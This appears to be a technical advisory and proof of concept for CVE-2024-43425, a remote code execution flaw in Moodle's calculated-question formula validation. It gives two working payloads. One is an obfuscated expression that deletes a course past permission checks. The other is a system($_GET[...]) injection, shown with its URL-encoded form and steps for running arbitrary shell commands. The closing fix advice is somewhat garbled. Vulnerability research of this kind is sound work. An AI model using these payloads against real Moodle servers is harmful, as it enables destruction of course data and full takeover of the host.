
Detailed technical analysis and proof-of-concept exploit for CVE-2024-43425, a Moodle remote code execution vulnerability via calculated question formulas, including root cause and reproduction steps.
Application name: Moodle
Build version: moodle-4.4.1
Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 and earlier unsupported versions
Download link: moodle-4.4.1
Attackers with permission to create or modify questions in a Moodle course can craft malicious input for calculated questions, which can be abused to execute arbitrary commands on the underlying system.

The function qtype_calculated_find_formula_errors helps ensure the validity of formulas entered in Moodle, preventing syntax errors

Variables are replaced with the number 1.0, the formula is converted to lowercase, and whitespace is removed.


The main validation logic is performed by iterating through the formula and identifying the innermost leftmost mathematical expression, which can be distinguished by the absence of nested parentheses. Then this expression is replaced with a 1.0

Finally, after the regular expression returns no additional matches, the formula is considered valid if it only contains safe operators or numbers. The original formula is then passed to eval.
The verification is done by passing the formula to the PHP eval() function after incomplete filtering. There are 2 approaches to bypass the validation logic:

Replacing variable placeholders like {a} with their values wrapped in (), if we add {a} to the above expression corresponding to 'PRINTF' the result will be 'PRINTF'(1) so it is possible to define an answer formula with two parts: a (function_name) and a {variable}.
2) Undefined variables are not replaced before being passed to the eval() function, so they remain unaffected as part of the formula. Additionally, the sanitization checks for variable names are less strict than the checks implemented for all other parts of the formula. This can be abused to call arbitrary functions when using the PHP object->{"member"} syntax.
Create a calculated question with a variable, e.g. {a}

Save the question and set the range of the variable values exactly to the course ID which is 3

Save the question, then edit the expression to
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Saving the modified question will lead to an error, but the question will still be saved. Go back to the question bank and preview the question; the DELETE_COURSE function will delete the course with the specified ID, bypassing all permission checks.


Create a calculated question. Set the answer formula to:
(1)->{system($_GET[chr(97)])}

The expression is modified to 1-0-system($_GET{chr(97)})

Intercept the request and modify it back to (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

An exception error appears: system(): Argument #1 ($command) cannot be empty

Provide the desired command by adding &a=[arbitrary command] to the URL. The output of the specified system command will be included in the resulting HTTP response.
A=id

A=ls

Fix the sanitization function qtype_calculated_find_formula_errors so that /question/type/calculated/questiontype.php always returns a false value if calculated questions are not used.